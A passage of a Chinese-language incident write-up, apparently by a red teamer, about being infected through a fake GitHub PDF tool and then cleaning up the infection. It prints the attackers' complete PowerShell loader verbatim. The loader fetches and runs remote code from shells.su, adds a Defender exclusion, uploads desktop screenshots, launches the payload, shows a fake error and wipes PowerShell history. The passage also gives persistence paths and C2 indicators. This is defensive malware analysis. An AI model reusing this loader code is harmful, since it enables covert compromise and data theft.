你敢入侵我电脑?看我扒光你老底 作为一名进攻安全从业者,我自然更关注攻击技术,过去写的大多数文章也都围绕红队、安全研究和其他进攻安全话题展开。所以这篇文章对我来说有些特别:这一次,我不是发起攻击的人。我是受害者。 不得不承认,因为执行了一段恶意脚本,导致自己的个人电脑被攻陷,多少还是有点丢人的,而且这次事件也给我带来了不小的麻烦。但与此同时,它也成了我职业生涯中一次难忘而宝贵的教训。更有意思的是,我的进攻安全背景在这次事件里既给了我优势,也给我留下了一个盲区。 因为平时花了太多时间站在攻击者的角度思考,我对这种思维方式相当熟悉。根据观察到的代码质量、OPSEC、工程成熟度以及其他操作习惯,我可以对威胁行为者做一个初步画像,据此决定先调查哪些方向,而不是把所有可能的 TTP 都当成同等概率。这个直觉确实帮助我很快定位到了载荷和持久化,并在相对较短的时间内切断了他们对主机的访问。 但同样的思维方式,也制造了我的盲区。作为红队人员,我习惯于追逐最终目标:皇冠上的明珠、特权访问,或者任何代表一次行动最终目标的东西。但真实的威胁行为者不一定这样想。几乎任何战利品,都可能对某个人有价值,或者可以拿去交易。他们不需要摸到“皇冠上的明珠”,这次入侵就已经可以赚钱。 入侵本身可以已经算成功,过程中偷走的某一份数据,也可以单独算成功。 第一部分聚焦于这次事件本身:最初的入侵、第一轮恶意软件分析、持久化排查、切断主机级访问,以及这个盲区后来带来的后果。 当然,说到底我还是个红队,我可不想当太久的受害者。第二部分,就是我的“复仇”开始的地方。我没有 Hack Back。即使我是受害者,也不会让未经授权的入侵变得合乎道德或获得授权。但这并不意味着我必须停止调查。 还有很多别的办法,可以让这场行动背后的人日子难过一些:把更大的 InfoStealer 网络扒出来,追踪其基础设施和公开身份,并最终锁定一个尤其有意思、看起来确实属于这套经济链条中的个体。 故事始于一个我以为安全的“避风港”:GitHub 仓库 当时我在找一款可以读取和编辑 PDF 的开源替代软件,然后遇到了一个一开始看起来很正常的 GitHub 仓库。它有还算不错的 Star 和 Fork 数,README 也很简洁,只给了一条一行式安装命令——正好满足大多数用户最想要的东西:尽量少的配置,直接运行。 尽管恶意 GitHub 仓库活动早就不是什么新鲜事,但 GitHub 总体上仍然是一个值得信任的平台。我当时也没多想,就把那条 one-liner 跑了…… 安装似乎需要一点时间。等待期间,我又回头更仔细地看了一遍 README。这时,几个信号一下变得非常明显: README 跟 PDF 软件压根没有关系。 安装命令引用的外部域名看起来很奇怪。 仓库虽然有不少 Star 和 Fork,但账号本身却非常新。 我立刻中断了安装。那一刻我知道,已经晚了——肯定已经有一部分代码执行过。但即便如此,停掉脚本仍然有价值,至少可以阻止那些还没来得及完成的动作。从那一刻开始,我必须和时间赛跑。而这条 PowerShell one-liner,就成了我最先想追下去的线索。 第一阶段:PowerShell 投递 安装命令通过  Invoke-Expression 拉取并执行了一段远程 PowerShell 脚本。第一阶段脚本相对很短:它指定 TLS 1.2,然后使用  FromBase64String 和 UTF-8 解码一段 Base64 字符串,再把结果继续传下去。 [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $encodedCommand = "aXJtIC1VcmkgImh0dHBzOi8vc2hlbGxzLnN1L2VuY3J5cHRlZC9hcGkucHMxIiAtVXNlckFnZW50ICJhaXprSGtLdGZOZHptYXljT0pmamhEUGFOTENWWUtNTXBrQWNVeXN5SXBZakFVaE5McXNRTEd5VnlJV2ZDZ25FQmlKWWVqclpMd0N3aG1Wa0VqSXhLSGVQTVllZUVNV1hhcklua211d3JVbXpCSXMiIHwgaWV4" $decodedCommand = [System.Text.Encoding]::UTF8.GetString( [Convert]::FromBase64String($encodedCommand) ) 解码 Base64 后得到: irm -Uri "https://shells.su/encrypted/api.ps1" ` -UserAgent "aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs" | iex 所以它的目的非常直接:从  shells[.]su 获取第二阶段 PowerShell 脚本,并立即执行响应内容。 一个有意思的细节是,这个第一阶段脚本的在线版本后来发生过变化。我中招时,只有 URI 本身被编码;后来操作者修改了投递链,把完整的第二次请求——包括自定义 User-Agent——一起藏进了 Base64 blob。这说明基础设施仍在被持续维护,而不是某个早已废弃的一次性活动。 第二阶段:加载器、受害者遥测与暂存 第二阶段脚本重要得多,因为它暴露了最初执行链的大部分结构。 # ------------------------------------ LAUNCH ------------------------------------- # $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 [Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy() [Net.WebRequest]::DefaultWebProxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials function Show-Progress { param( [int]$Percent, [string]$Text = "" ) $esc = [char]27 $width = 20 $filled = [math]::Floor($width * $Percent / 100) $empty = $width - $filled $gray = "$esc[100m" $darkGray = "$esc[48;5;236m" $reset = "$esc[0m" [Console]::Write( "`r $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text" ) } # ----------------------------------- VARIABLES ----------------------------------- # $site = "https://shells.su" $zipUrl = "$site/encrypted/1.zip" $7zaUrl = "$site/encrypted/7za.exe" $password = '1' $exePath = '1/Helper.exe' $work = Join-Path $env:TEMP "svc_$(Get-Random)" $zip = Join-Path $work '1.zip' $7za = Join-Path $work '7za.exe' $dest = Join-Path $work 'out' # ----------------------------------- VARIABLES+ ---------------------------------- # $pcName = $env:COMPUTERNAME $userAgent = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp" $startUrl = "$site/start.php" $screenUrl = "$site/screen.php" $endUrl = "$site/end.php" $firstStepText = '[1/3] Checking for Updates...' $secondStepText = '[2/3] Initialization Components...' $thirdStepText = '[3/3] Running Application...' $firstSubstepText = '[SUCCESSFULLY]' $secondSubstepText = '[SUCCESSFULLY]' $thirdSubstepText = '[ERROR]' if (Test-Path $work) { Remove-Item $work -Recurse -Force } New-Item -ItemType Directory -Path $work -Force | Out-Null # ---------------------------------- ADMIN RIGHTS --------------------------------- # $identity = [Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object Security.Principal.WindowsPrincipal($identity) $isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) # [STEP 1/3]: Clear-Host Write-Host "`n $firstStepText" -ForegroundColor Cyan if (-not $isAdmin) {} if ($isAdmin) { Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null } # ---< REQUEST 1 >---------------------- GEO -------------------------------------- # $country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName filter CustomTrim { $_ -replace '[\r\n\t]', '' } $geoServices = @( @{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" }, @{ Uri = "https://ipapi.co"; Path = $null }, @{ Uri = "https://ipinfo.io"; Path = $null } ) foreach ($service in $geoServices) { try { $response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop if ($response) { if ($service.Path -and $response.$($service.Path)) { $country = $response.$($service.Path).Trim().ToUpper() } else { $country = ($response | CustomTrim).ToUpper() } if ($country -match '^[A-Z]{2}$') { break } } } catch { continue } } # ------------------------------------- LINKS ------------------------------------- # $startRequest = "${startUrl}?pc=${pcName}&country=$country" $screenRequest = "${screenUrl}?pc=${pcName}&country=$country" $endRequest = "${endUrl}?pc=${pcName}&country=$country" # ---< REQUEST 2 >--------------------- START ------------------------------------- # try { $startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null if (-not [string]::IsNullOrWhiteSpace($startScript)) { $startBlock = [scriptblock]::Create($startScript) & $startBlock } } catch { Write-Warning "$_" } # ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- # try { if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null } Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5 Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5 } catch {} # ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- # Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing try { $bounds = [Windows.Forms.SystemInformation]::VirtualScreen $bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height $gfx = [System.Drawing.Graphics]::FromImage($bmp) $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size) $ms = New-Object System.IO.MemoryStream $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png) $gfx.Dispose() $bmp.Dispose() $base64 = [Convert]::ToBase64String($ms.ToArray()) $ms.Dispose() $screenBody = @{ pc = $pcName image = "data:image/png;base64,$base64" } Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null } catch {} # [SUBSTEP 1/3]: for ($i = 0; $i -le 100; $i++) { Show-Progress $i Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20) } Show-Progress 100 Write-Host "$firstSubstepText" -ForegroundColor Green Start-Sleep -Seconds 3 # --------------------------------- OPEN & LOGGING -------------------------------- # # [STEP 2/3]: Clear-Host Write-Host "`n $secondStepText" -ForegroundColor Cyan try { if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" } if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" } $unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y") $null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1 if ($process.ExitCode -ne 0) { throw "[ERROR LOG] 7za: $($process.ExitCode)" } } catch {} # [RUN FILE] $exe = Join-Path $dest $exePath try { if (Test-Path $exe) { Start-Process $exe -WorkingDirectory (Split-Path $exe) -Wait -ErrorAction Stop } else { throw "[ZIP] - Error code: 2" } } catch { Write-Warning "$_" } if (Test-Path $work) { Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue } # [SUBSTEP 2/3]: for ($i = 0; $i -le 100; $i++) { Show-Progress $i Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25) } Show-Progress 100 Write-Host "$secondSubstepText" -ForegroundColor Green Start-Sleep -Seconds 3 # ---< REQUEST 5 >--------------------- ENDING ------------------------------------ # # [STEP 3/3]: Clear-Host Write-Host "`n $thirdStepText" -ForegroundColor Cyan try { $endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null if (-not [string]::IsNullOrWhiteSpace($endScript)) { $endBlock = [scriptblock]::Create($endScript) & $endBlock } } catch { Write-Warning "$_" } # [SUBSTEP 3/3]: for ($i = 0; $i -le 100; $i++) { Show-Progress $i Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30) } Show-Progress 100 Write-Host "$thirdSubstepText`n" -ForegroundColor Red Start-Sleep -Milliseconds 500 Write-Host " [ERROR] Failed to load DLL: keygen.dll`n [ERROR] The specified module could not be found.`n [ERROR] Error code: 0x8007007E`n [ERROR] One or more dependencies may be missing.`n [ERROR] Operation failed." -ForegroundColor Red # ENDING SCREENSHOT try { $bounds = [Windows.Forms.SystemInformation]::VirtualScreen $bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height $gfx = [System.Drawing.Graphics]::FromImage($bmp) $gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size) $ms = New-Object System.IO.MemoryStream $bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png) $gfx.Dispose() $bmp.Dispose() $base64 = [Convert]::ToBase64String($ms.ToArray()) $ms.Dispose() $screenBody = @{ pc = $pcName image = "data:image/png;base64,$base64" } Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null } catch {} Read-Host -Prompt "`n Press Enter to exit" [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory() Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue Set-PSReadlineOption -HistorySaveStyle SaveNothing [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory() 它的行为大致可以总结为: 环境准备与权限检查 ↓ 临时工作目录 / 尝试加入 Defender 排除项 ↓ 国家和主机信息侦察 ↓ Start 回调 / 尝试执行服务器返回的 PowerShell ↓ 下载加密载荷压缩包与 7-Zip ↓ 采集桌面截图并外传 ↓ 解压并执行载荷 ↓ 清理临时文件 ↓ End 回调 / 再次尝试执行服务器返回的 PowerShell ↓ 第二次截图并清理 PowerShell 历史 脚本配置了 TLS 1.2,并显式继承系统代理以及当前用户的默认网络凭据: [Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy() [Net.WebRequest]::DefaultWebProxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials 这是一个不大但值得注意的实现细节。对于出站 HTTP 流量必须经过带认证企业代理的环境,这会提高兼容性。这不代表恶意软件专门针对企业,但至少说明作者考虑过不止普通家庭网络这一种环境。 随后,加载器定义了暂存位置: site: hxxps://shells[.]su archive: /encrypted/1.zip extractor: /encrypted/7za.exe password: 1 work: %TEMP%\svc_ output: %TEMP%\svc_\out\ 在我事件期间恢复到的版本中,最终可执行文件是  1.exe。后来的 loader 快照则预期执行  1/Helper.exe。这个差异对时间线很重要:后来的快照不能被当作感染我机器那一版的逐字节复刻,他们一直在修改自己的 payload。 防御规避 如果 PowerShell 进程已经以管理员权限运行,加载器会尝试把临时工作目录加入 Windows Defender 排除项: Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue 在后来的版本里,如果用户不是管理员,它实际上不会主动尝试提权: if (-not $isAdmin) {} 这里也是投递链随时间发生变化的一个地方。事件当时的记录里,较早版本曾尝试通过  RunAs 重新启动;那依赖用户确认,并不是静默 UAC 绕过。之后对可执行文件的逆向还在 RAT 本体中发现了权限相关功能,因此有可能一部分职责后来从 PowerShell 层转移到了 RAT。但“有可能”并不等于我已经还原了操作者完整的开发历史。 受害者注册与地理画像 在下载可执行载荷之前,loader 会尝试判断受害者所在国家。它首先以系统地区设置作为 fallback,然后查询  ipwho.is、 ipapi.co 和  ipinfo.io 等公开地理位置服务。 随后构造三个暂存 URL: /start.php?pc=&country= /screen.php?pc=&country= /end.php?pc=&country= 乍一看,这几个端点主要像是在做受害者注册和遥测。暂存服务器会收到计算机名和国家,而  screen.php 单独用于截图外传。不过,继续看  start.php 和  end.php 后,还能发现一个额外能力:loader 会尝试接收响应,并把它作为 PowerShell 执行。 $startScript = Invoke-RestMethod -Uri $startRequest ... | Out-Null if (-not [string]::IsNullOrWhiteSpace($startScript)) { $startBlock = [scriptblock]::Create($startScript) & $startBlock } end.php 后面也用了同样的模式。由于请求中携带了  pc 和  country,服务器在生成响应时已经掌握了受害者级别的属性。理论上,它可以对不同主机或不同地区返回不同的后续动作。没有服务器端 PHP 实现,我无法确认这种选择性行为是否真的被实现过。 不过,这里存在一个很严重的实现 Bug。结果被管道送进  Out-Null 后,HTTP 响应会在赋值给  $startScript 之前就被丢弃。请求本身依旧会发送,因此服务器仍然能收到受害者信息,但后续执行分支根本拿不到响应内容。 $endScript 也有同样的问题。操作者看起来做了一个服务器控制的执行路径,然后又因为自己的 Bug 把它顺手废掉了。 在我的案例里,这条路径看起来是因为攻击者自己的 Bug 失败的,而不是因为我的遏制措施。 所以,这层暂存基础设施同时承担了受害者识别、截图收集,以及一个未能正常工作的服务器控制 PowerShell 机制。RAT 运行时使用的 C2 则是另一套。 屏幕截图外传 loader 使用  [Windows.Forms.SystemInformation]::VirtualScreen 和  $gfx.CopyFromScreen(...) 捕获完整的 Windows 虚拟桌面。位图被编码为 PNG、转换成 Base64,然后连同计算机名一起提交到  screen.php: $screenBody = @{ pc = $pcName image = "data:image/png;base64,$base64" } 在后来的快照中,这个动作会在可执行载荷启动前执行一次,并在伪安装流程接近结束时再执行一次。如果请求成功,那么当时所有显示器上可见的内容都已经泄露了。这个部分没有现实意义上的“撤销”办法。 这个认识直接影响了我当时的响应优先级。我把局面分成两类:已经发生的损害,以及仍然可以阻止的攻击活动。截图属于前者,但 RAT 进程、持久化和 C2 连通性,我仍然可以切断。 当时,这个优先级看起来非常自然。站在红队的角度,一旦我发现攻击,第一反应就是和时间赛跑,尽可能阻止更多仍在进行中的动作。但阻止正在发生的入侵,并不等于完成修复。已经发生过的事情,不能因为“发生完了”就被当作结束,它们留下的后果也不能被忽略。 载荷投递 loader 下载了  /encrypted/1.zip 和  /encrypted/7za.exe,然后使用密码  1 解压受密码保护的 ZIP。这个密码无论还有什么别的目的,显然不太擅长对接收者保密。解压出的载荷通过下面的方式启动: Start-Process $exe ` -WorkingDirectory (Split-Path $exe) ` -Wait 这里的  WorkingDirectory 细节后来在清理阶段变得有意义,因为临时解压目录被仍持有句柄的进程锁住了。目录一直存在,是调查线索,但单凭这一点并不能证明存在第二个持久化载荷。 欺骗用户 脚本试图把整个执行过程伪装成普通安装器或更新程序。它展示了三个阶段 [1/3] Checking for Updates... [2/3] Initialization Components... [3/3] Running Application... 同时配上假的进度条和随机 sleep。流程结束时,它会故意打印: [ERROR] Failed to load DLL: keygen.dll [ERROR] The specified module could not be found. [ERROR] Error code: 0x8007007E [ERROR] One or more dependencies may be missing. [ERROR] Operation failed. 这是一段欺骗,而不是真的安装失败。最简单地说,这条信息解释了为什么预期中的应用程序没有出现:破解程序或者软件因为缺失依赖而安装失败。但与此同时,恶意执行链其实已经跑完了。这个假报错的作用,不只是把脚本装成一个坏掉的安装器。它给了受害者一个看似合理的解释,可以让调查在这里提前结束。 从受害者视角: 下载软件 → 运行安装器 → 缺少 keygen.dll → 安装失败 → 换一个下载 从攻击者视角: 执行 loader → 侦察 → 截图外传 → 部署 RAT → 伪造 DLL 报错 这种欺骗不需要躲过恶意软件分析,甚至不需要把所有恶意痕迹都藏得很像。它只需要让受害者别再追问“为什么安装失败”就够了。如果几天后 Instagram、Steam 或 Discord 开始出现异常,受害者也很难自然地把它和几天前一个看起来毫无关系的安装失败联系起来。 反取证 最后,loader 会尝试清除 PowerShell 命令历史 [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory() Remove-Item (Get-PSReadlineOption).HistorySavePath ` -Force ` -ErrorAction SilentlyContinue Set-PSReadlineOption -HistorySaveStyle SaveNothing [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory() 这针对的是用户的 PSReadLine 历史,包括  ConsoleHost_history.txt。对付随手看一眼式的检查确实有用,但距离完整的取证清理还差得很远。它不会删除可能已经被记录到 PowerShell Operational 日志、进程创建遥测、EDR、网络日志或其他主机痕迹里的独立证据。代码整体更像是实用主义、但时不时会犯错,而不是优雅。在解压逻辑中,它检查了  $process.ExitCode,却从未给  $process 赋值;前面的  Out-Null 错误,则是同一类不均衡工程质量里更严重的例子。 追踪载荷与持久化 理解了两阶段 PowerShell 后,我对最初的入侵已经有了比较清晰的认识:主机信息已经被提交到暂存基础设施,截图很可能已经被外传,可执行载荷也已经启动。目标已经不是“阻止入侵发生”,而是遏制仍然活跃的部分。幸运的是,第二阶段脚本直接暴露了解压位置: %TEMP%\svc_\out\1\1.exe 我保留了一份封存样本用于后续分析,然后删除了原始投递位置里的可执行文件。但显然,仅仅删掉初始 payload 并不够。到这个时候,我必须假设持久化已经建立。 接下来基本有两条路:尽可能枚举持久化机制,或者逆向样本,让恶意软件自己告诉我它做过什么。更实际的答案是两条一起走。我把保留的样本交给静态分析流程,同时使用 GPT-5.6 Sol 和 Opus 5 做 AI 辅助逆向,在有限时间里扩大覆盖面。对一个混淆过的恶意样本做自动化分析,漏掉很多东西并不奇怪。但即使分析不完整,在真实事件进行中,它仍然能节省大量时间:自动识别函数、字符串、API 使用、持久化路径和 C2 行为,而人工调查者可以把注意力集中在仍然活着的主机上。 这就是第一轮分析的目的:拿到可执行的处置情报,而不是把每个能力都彻底分析完。第二部分会重新回到那些当时没有回答的问题。 一条相当潦草的 PowerShell 链 到这里,两阶段 PowerShell 链基本分析完了。它的能力确实够实用,对毫无防备的用户也完全可以造成真实损害,但我实在很难对它的实现质量有什么高评价。 就这么一点代码里,我已经看到了多个 Bug。整体代码质量不高,对规避和 OPSEC 似乎也没怎么认真考虑。脚本写得相当潦草。我把它分享给几个朋友看,其中一个人开玩笑说,这玩意儿看起来像是 vibe coding 出来的。说真的,这评价也不算冤枉。 不过,潦草本身也是信息。它让我对威胁行为者的工程成熟度和技术水平有了一个初步印象,可以在后续事件响应中帮助决定先查什么。当然,我也不想过度套用这个印象:攻击者可能前后水平不一致,可能复用了别人的代码,也可能只是把更多精力放在了行动的某一部分。 给持久化排查定优先级 持久化排查最麻烦的地方,就是搜索空间太大。一个 Windows implant 可以通过计划任务、服务、Run Key、启动目录、WMI Subscription、Winlogon 修改、IFEO、COM Hijacking、DLL 加载机制以及很多其他方式存活下来。所以我必须排优先级。 我的进攻安全背景,加上对这套 PowerShell stager 的第一印象,帮助我决定了搜索顺序。我当时在想:按照目前推测出来的技术水平,他们更可能使用什么复杂度的持久化方式? 相比更高级、更复杂的技术,计划任务和其他传统启动/登录机制,看起来更像是应该优先排查的方向。这仍然只是一个有风险的推断,而不是证据。PowerShell loader 写得粗糙,并不代表背后的原生 payload 也一定粗糙。链条不同部分可能由不同操作者负责,二进制 payload 完全可能更难缠。 话虽如此,这个直觉确实改变了我的搜索顺序。很快,我在下面的位置发现了 payload 的第二份副本: C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe 这个路径显然是为了伪装成合法 Windows 组件,父目录还被设置了  Hidden 和  System 属性。更重要的是,这个看起来像“另一份”的  RuntimeBroker.exe 根本不是不同的可执行文件:它的 Hash 和原始  1.exe 完全一致。后续逆向进一步还原了 self-copy 流程,而文件系统时间线已经给出了一个非常有用的关联: 2026-08-16, local time (EDT) 23:44:56 RuntimeBroker.exe created 23:44:57 Four malicious scheduled tasks created 四个任务分别是: \Microsoft\Location\MicrosoftUpdaterMachineCore \Microsoft\Windows\EDP\ScheduledDef \Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins 四个任务全部启动同一个  RuntimeBroker.exe。其中一个每 30 分钟重复触发,另外三个则是开机触发。任务定义使用内置 Administrator SID( ...-500),并设置  InteractiveToken 和  HighestAvailable。真正重要的证据并不只是任务名称,而是保留下来的任务 XML 和时间戳。更深入的逆向后来还发现,它用的是 Task Scheduler COM,而不是简单调用  schtasks.exe。这也提醒我:目标很传统,并不等于实现能力就一定很差。 样本还把 C2 配置存放在  HKCU\Software\Microsoft\Event 下,值名为  System。那只是配置存储,不是另一种启动方式。真正的执行持久化来自计划任务。RAT 还创建了互斥体  Global\RuntimeBrokerAds,用于保证只运行一个实例。 这一次,我最初的判断确实帮上了忙。重点是:这一次。 并行逆向分析 差不多同一时间,自动化分析也开始返回有用结果。两边都没能独立还原完整图景,但它们的发现和我在主机上看到的痕迹互相印证,并暴露了更多能力。逐渐浮现出来的是一个自定义 x64 C++ RAT。它的运行时 C2 通过 WebSocket 连接  145.63.134[.]94:406;另一个 HTTP 任务通道使用端口  408。分析还发现它支持更新后的  *.duckdns.org 端点。协议字符串包括: ready; getinfo ping pong task createtask closetask task_id; task_done; update 早期分析显示,命令执行使用了非常直接的  cmd.exe /C 。WebSocket 握手里还有一个尤其显眼的特征: Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== 这是 RFC 6455 里的示例 nonce,而不是每次新随机生成的 key。在这里,它的重复使用可以当作一个有用的网络指标,但还不足以单独做恶意软件家族归因。 二进制本体的保护也比 PowerShell loader 给人的第一印象重得多。分析识别出了加密字符串、动态 API 解析、控制流与 MBA 风格混淆,以及覆盖多种虚拟化环境的反分析检查——其中甚至有一个明确的  anyrun GPU 指标。其他恢复出来的引用和路径还涉及关键进程行为、权限调整、基于 WMI 的杀软发现、AMSI 相关操作,以及  NtAllocateVirtualMemory、 NtWriteVirtualMemory、 NtCreateThreadEx 等原生内存/线程 API。 winlogon、 smartscreen 和  explorer.exe 等进程名也和早期分析有关。这些是深入实现的线索,并不代表所有相关技术都一定在我的主机上成功执行过。 按高端红队标准,我不会把它称为多么高级的 implant。但它也绝对不是小儿科:自定义混淆、动态 API 解析、沙箱检测、冗余计划任务,再加上能正常工作的任务协议,已经足够制造麻烦。换句话说,它不需要写得优雅,也一样危险。 知道 408 端口存在,和理解完整的模块投递路径并不是一回事。当时我已经有足够信息去清理 foothold。那些还没搞明白的细节,后来会成为第二轮分析非常有价值的起点。 多种持久化方式,但只有一个可执行文件 我识别到的所有自启动机制,最后都汇聚到同一个可执行文件: 1.exe ↓ self-copy C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe ↑ ├── MicrosoftUpdaterMachineCore ├── ScheduledDef ├── ProgramDataUpdate └── SvcRestartTaskWindowsLogins 这大概是整个 containment 过程中最让我安心的技术发现。恶意软件有多种重新拉起自己的方式,但我找到的这些 autostart 背后,磁盘上只有一个可执行文件。这当然不代表我赶到之前,它从未下载过别的模块、注入过代码或者收集过信息。但我找到的这些持久化路径共享同一个依赖,从攻击者角度看,这反而制造了一个单点故障:只要这些任务被删除,同时删掉那份  RuntimeBroker.exe,这些特定的重新拉起路径就全部失效。 事后回想,我得承认这里让我不禁一身冷汗。如果恶意软件当时装了好几条真正独立的 foothold:一个计划任务 EXE、一个服务二进制、一个 WMI 拉起的脚本,再来一个单独的侧加载组件—,人工清除会难得多。任何一条独立分支漏掉,都可能让攻击者重新拿到执行能力,再把其他分支重建出来。这次事件对我算是比较有容错的。 清理后的验证 我并没有删掉四个已知计划任务和持久化可执行文件就收工。我继续检查了其他常见持久化位置:服务、Run/RunOnce Key、启动目录、Winlogon 配置、WMI 永久事件订阅,以及可疑的计划任务动作。没有再发现与恶意软件相关的独立可执行文件或额外自启动路径。这让我有理由相信,已经识别出的主机级持久化确实被清掉了。 当时,我确实觉得事件到这里应该结束了,但实际上,并没有。 被忽略的后续影响 清掉已知的持久化机制,并确认持久化 payload 已经不在之后,我认为主机级事件已经被遏制住了。我当时已经很疲惫,也有理由相信最直接的威胁已经被移除。但这种信心并没有持续多久。后来检查 Discord 时,我发现主账号被登出了,重新登录也失败。去看绑定邮箱后,原因立刻清楚了:邮箱里有几封未读邮件,包括密码重置请求、密码已修改的确认,以及另一封关于违反 Discord 政策活动的通知。 账号已经被接管。由于密码重置是通过绑定邮箱完成的,邮箱本身也很可能被访问过。Google 同时也发出了可疑活动警告。 好在我仍然控制着邮箱。我修改了邮箱的凭据和安全设置,通过客服找回 Discord,并随后对两个账号都做了进一步加固。但这离后续影响结束,还差得远。 多个服务上的账号滥用 之后,在这台被攻陷的主机上使用过的多个服务,都陆续出现了新的异常: Instagram 被劫持,但没有被完全夺走。攻击者利用现有账号状态向联系人发送垃圾信息,其中包括推广  marawex[.]com。 Steam 也遭到了类似滥用,但没有发生完整账号接管。账号被用来发垃圾信息,一个陌生用户,后来保留下来的资料显示为 661SAVAGEEE,还被加入了 Family Sharing。这个用户在 ARC Raiders 里作弊,最终被封。因为游戏所有权在我的账号上,我也因此被连带封禁。后面会对  661SAVAGEEE 做更完整的 OSINT。 我的第二个 Discord 账号也被用来发垃圾信息,但密码没有被改。因为两个账号互相关联,我很快注意到了。发送者随后还试图从被攻陷账号一侧删除对话。推广的域名是  tetsobet[.]com。 Amazon 阻止了完整接管,但仍然放行了欺诈订单。25 美元礼品卡成功下单,100 美元的尝试被拦截。攻击者还购买了和我历史购买记录相似的维生素、猫粮之类商品,看起来是在试图贴近我的正常消费基线。 Cursor 产生了大约 70 美元的未授权用量,Codex 消耗了我一部分周额度。Claude 也可能暴露过:Anthropic 很快检测到了可疑活动,并主动让会话失效,因此在我观察到明显实际影响之前就已经被切断。 在我查看的这些平台和厂商里,Anthropic 是最早意识到这波更大规模 InfoStealer 活动的团队之一。虽然当时他们还没有把活动明确映射到我遇到的这个具体团伙,但对 TTP 和上下文的分析非常专业,而且和我亲眼观察到的很多行为高度吻合。当然,InfoStealer 团伙远不止我遇到的这一支,Anthropic 记录的活动范围也比这个具体 cluster 更广。但我多少还是有点庆幸:我可能算是极少数很早就意识到这个具体、可能正在兴起的新团伙的人之一——甚至早于大型威胁情报团队把它单独拆出来并完成映射。 在分析 PowerShell stager 时,我对它的规避和 OPSEC 评价并不高。但账号失陷后的后续行为却呈现出更混合的图景:不同操作之间,隐蔽性和谨慎程度差异很大。 我的 Discord 被直接夺走,危险当然危险,但操作本身也足够吵闹,几乎立刻就暴露了。Amazon 上的未授权购买则谨慎得多:攻击者先从低金额礼品卡和我以前买过的商品入手,可能是在尽量贴近正常活动基线,然后再尝试更高价值的商品。之后,他们还知道把我这边已发送的消息删掉。有些操作做得相当谨慎,另一些却粗糙得让人意外。这种不一致本身,也成了理解这场行动的另一条有用线索。 主机还在沦陷吗? 这些持续发生的异常带来了一个很让人不安的问题:我真的已经把恶意软件清干净了吗?我一次又一次回头检查主机,看看是不是漏掉了另一个可执行文件、持久化机制、注入组件或第二阶段 payload。账号还在被滥用,“清理不彻底”自然是最容易想到的解释。 但随着证据越来越多,另一种解释逐渐变得更合理。受影响的服务,正好都是主机上已经存在认证状态的服务。很多时候,我从浏览器打开它们甚至不需要重新登录,浏览器里已经有有效 session、可信设备状态、token 或其他认证材料。 我还在 ChatGPT、Steam 等服务上发现了来自其他地理区域的可疑已认证会话,即使这些服务都启用了 MFA。MFA 